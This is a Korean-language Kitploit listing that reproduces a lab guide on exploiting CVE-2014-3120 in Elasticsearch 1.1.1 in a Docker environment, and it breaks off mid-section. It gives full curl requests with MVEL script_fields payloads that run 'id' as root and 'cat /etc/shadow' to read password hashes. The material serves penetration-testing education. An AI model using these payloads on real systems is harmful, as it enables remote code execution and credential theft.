Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2014-3120 — Elasticsearch 1.1.1을 대상으로 한 CVE-2014-3120 취약점 악용 실습을 단계별로 설명하는 랩 가이드입니다. 취약점 분석, MVEL 스크립팅을 통한 RCE, Docker 환경에서의 사후 침투(Post-Exploitation)를 다룹니다. | Kitploit
도구/GitHubGitHub/dungsocool/cve-2014-3120
Container SecurityVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

Elasticsearch 1.1.1을 대상으로 한 CVE-2014-3120 취약점 악용 실습을 단계별로 설명하는 랩 가이드입니다. 취약점 분석, MVEL 스크립팅을 통한 RCE, Docker 환경에서의 사후 침투(Post-Exploitation)를 다룹니다.

저장소 보기
84개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

LAB 10-CVE-2014-3120

I. 시스템 분석

도커 환경에서 공격 표면 식별

실행 중인 환경을 확인하는 것으로 시작합니다. 모든 활성 컨테이너를 나열합니다:

docker ps

image.png

결과: p1/lab10:latest 컨테이너가 실행 중이며, 외부에 2개의 포트를 노출하고 있습니다:

포트 매핑프로토콜
0.0.0.0:9200 → 9200/tcpHTTP (확인 필요)
0.0.0.0:9300 → 9300/tcp알 수 없음

초기 관찰: 포트 9200과 9300은 일반적으로 Elasticsearch의 기본 포트로 알려져 있습니다. 그러나 포트 번호만으로는 결론을 내릴 수 없습니다. 다른 많은 서비스가 임의의 포트에 바인딩될 수 있기 때문입니다.

⇒ 각 포트에 직접 curl을 실행하여 실제 실행 중인 서비스를 확인합니다.

포트 9300 테스트

curl -i http://192.168.3.137:9300/

image.png

응답 분석:

  • 응답: curl: (52) Empty reply from server
  • 서버 헤더: 없음 - 서버가 HTTP 응답을 반환하지 않음

평가: 서버는 TCP 연결을 수락했지만(연결 거부 없음), HTTP 프로토콜을 사용하여 응답하지 않았습니다. 이는 포트 9300의 Elasticsearch Transport 프로토콜 동작과 일치합니다. 이는 클러스터 내 노드 간 통신에 사용되는 바이너리 프로토콜이며, HTTP가 아닙니다.

⇒ 마인드셋: 포트 9300은 바이너리 프로토콜을 사용하므로 curl/브라우저로 직접 악용할 수 없습니다. 포트 9200(HTTP REST API 포트) 확인으로 전환합니다.


포트 9200 테스트

curl -i http://192.168.3.137:9200/

image.png

응답 분석:

필드값의미
name"Rage"Elasticsearch 노드 이름 (임의의 Marvel 캐릭터 이름 - 이전 ES 버전의 기본 동작)
version.number"1.1.1"매우 오래된 버전 - 2014년 4월 릴리스
build_timestamp"2014-04-16T14:27:12Z"2014년 빌드
lucene_version"4.7"Lucene 4.7 - 오래된 인덱싱 엔진
tagline"You Know, for Search"Elasticsearch의 특징적인 서명 문구

공격 표면 평가:

  • Elasticsearch 1.1.1 확인됨 - 서비스가 전체 버전 정보와 함께 특징적인 JSON 응답 반환
  • 인증 불필요 - REST API가 자격 증명 없이 직접 응답
  • Elasticsearch 1.1.1 (2014) 은 여러 중요 CVE의 영향 범위에 속하며, 특히 CVE-2014-3120 - 동적 스크립팅을 통한 임의 코드 실행 취약점

image.png

⇒ 마인드셋: Elasticsearch 1.1.1은 기본적으로 동적 스크립팅을 활성화하여 클라이언트가 검색 쿼리에서 스크립트(MVEL 표현식)를 서버에 전송하여 실행할 수 있도록 합니다. 샌드박스나 적절한 검증이 없으면 공격자는 악성 스크립트를 주입하여 시스템 명령어를 실행할 수 있습니다. 다음 단계: 대상에서 동적 스크립팅이 실제로 활성화되어 있는지 확인합니다.

동적 스크립팅 및 MVEL 엔진 확인

동적 스크립팅이란?

Elasticsearch는 스크립팅 기능을 지원합니다 - 클라이언트가 검색 요청 내에 스크립트(수학적 또는 논리적 표현식)를 전송하여 서버가 결과를 처리할 때 실행하도록 합니다. Elasticsearch 1.x에서 이 기능의 기본 엔진은 MVEL (MVFLEX Expression Language) 입니다.

핵심 보안 문제

1.2 이전 Elasticsearch 버전에서는 동적 스크립팅이 기본적으로 활성화되어 있습니다 (script.disable_dynamic: false). 이는 다음을 의미합니다:

  1. REST API 인증 불필요
  2. 클라이언트가 _search API의 script_fields 매개변수를 통해 임의의 스크립트 전송 가능
  3. MVEL 엔진은 충분히 강력한 샌드박스가 부족하여 Java 런타임에 접근 허용
  4. 공격자는 java.lang.Runtime.getRuntime().exec()를 호출하여 시스템 명령어 실행 가능

script_fields 작동 방식

script_fields가 포함된 검색 요청이 전송되면 Elasticsearch는:

  1. _search API를 통해 JSON 요청 수신
  2. script_fields 필드 파싱 → 실행할 script 찾기
  3. MVEL 엔진을 사용하여 스크립트 평가
  4. MVEL 엔진은 Java 런타임에 완전히 접근 가능 → 모든 Java 클래스 호출 가능
  5. HTTP 응답에 결과 반환

공격 벡터 분석: MVEL → Java 런타임 → RCE

Java에서 시스템 명령어를 실행하는 가장 일반적인 방법은:

Runtime.getRuntime().exec("command");

MVEL은 Java 클래스에 완전히 접근할 수 있는 표현 언어로서, 이를 직접 호출할 수 있습니다:

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

각 부분 설명:

부분설명
import java.io.*Java IO 클래스 가져오기
Runtime.getRuntime()Java Runtime 인스턴스 검색
.exec("id")셸 명령어 id 실행
.getInputStream()프로세스의 출력 스트림 검색
new Scanner(...).useDelimiter("\\A").next()전체 출력을 문자열로 읽기

⇒ 마인드셋: Elasticsearch에서는 RCE 출력이 응답에 직접 반환됩니다 — 파일로 리디렉션하여 다시 읽을 필요가 없습니다. 이렇게 하면 익스플로잇이 더 깔끔하고 빠르게 확인됩니다.

II. 익스플로잇

동적 스크립팅 활성화 확인

대상이 Elasticsearch 1.1.1임을 식별한 후, 다음 단계는 동적 스크립팅이 실제로 활성화되어 있는지 확인하는 것입니다.

CVE-2014-3120은 Elasticsearch가 클라이언트가 _search 요청 내에 스크립트를 전송할 수 있도록 허용하는 점을 악용합니다. 스크립트가 서버에서 실행되면 공격자는 무해한 표현식을 Java 런타임을 호출하여 시스템 명령어를 실행하는 페이로드로 대체할 수 있습니다.

먼저, 쿼리에 적어도 하나의 일치하는 결과가 있도록 테스트 문서를 생성합니다. 문서가 없으면 script_fields가 평가되지 않습니다.

curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

그런 다음 인덱스를 새로 고칩니다:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

다음으로, 무해한 MVEL 표현식이 포함된 script_fields를 사용하여 _search 요청을 전송합니다:

curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

스크립트 "1+1" 을 전송하고 서버가 결과 2를 반환합니다. 이는 Elasticsearch가 _search 요청을 수신할 뿐만 아니라 서버 측에서 동적 스크립트를 실행한다는 것을 증명합니다.

⇒ 동적 스크립팅이 대상에서 활성화되어 있습니다.

대상이 Elasticsearch 1.1.1이므로 1.2 이전 버전이며, 이는 CVE-2014-3120의 익스플로잇 요구 사항과 일치합니다: 1.2 이전의 Elasticsearch는 기본적으로 동적 스크립팅을 활성화하여 원격 공격자가 검색 요청을 통해 MVEL 표현식/Java 코드를 실행할 수 있도록 합니다.

명령어 실행 함수로의 경로 식별

무해한 표현식 "1+1"이 [2]를 반환하는 것을 통해 script_fields가 Elasticsearch에 의해 서버 측에서 실행됨을 확인했습니다.

이는 대상이 표준 검색뿐만 아니라 클라이언트가 _search 처리 중에 서버가 평가할 MVEL 스크립트를 전송할 수 있도록 허용함을 증명합니다.

CVE-2014-3120의 경우, Elasticsearch 1.1.1의 MVEL이 Java 클래스에 접근할 수 있다는 점이 핵심 위험입니다. 따라서 수학적 표현식 "1+1" 대신 공격자는 Java Runtime을 호출하는 스크립트를 전송할 수 있습니다:

Runtime.getRuntime().exec("command")

이는 운영 체제에서 새로운 프로세스를 생성하고 명령어를 실행하는 표준 Java API입니다.

공격 체인

_search API
→ script_fields
→ MVEL 표현식
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner가 stdout 읽기
→ 결과가 JSON 응답에 반환됨

RCE 페이로드 구성 및 실행

RCE 페이로드:

curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

페이로드 분석:

부분목적
"size": 1결과를 1개 문서로 제한
"query" → "match_all"모든 문서와 일치 (인덱스에 최소 1개 문서 필요)
"script_fields" → "exploit"MVEL 스크립트를 실행하는 계산된 필드 정의
"script": "import java.io.*; ..."id 명령어를 실행하고 출력을 반환하는 MVEL 표현식

결과:

응답은 id 명령어의 출력을 포함하는 fields.exploit 필드를 반환합니다:

"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

분석:

페이로드가 script_fields 내부의 MVEL 스크립트를 통해 Runtime.getRuntime().exec("id")를 성공적으로 호출했습니다. 응답이 id 명령어의 출력을 반환한다는 것은 명령어가 서버 측에서 실행되었음을 증명합니다.

uid=0(root) gid=0(root) groups=0(root) 결과는 컨테이너 내부의 Elasticsearch 프로세스가 root 권한으로 실행 중임을 나타냅니다.

권한 한계 확인

RCE를 확인한 후, 실제 권한은 민감한 파일을 읽어 보는 방식으로 검증해야 합니다:

/etc/shadow 읽기:

curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

관찰 결과:

도구 다운로드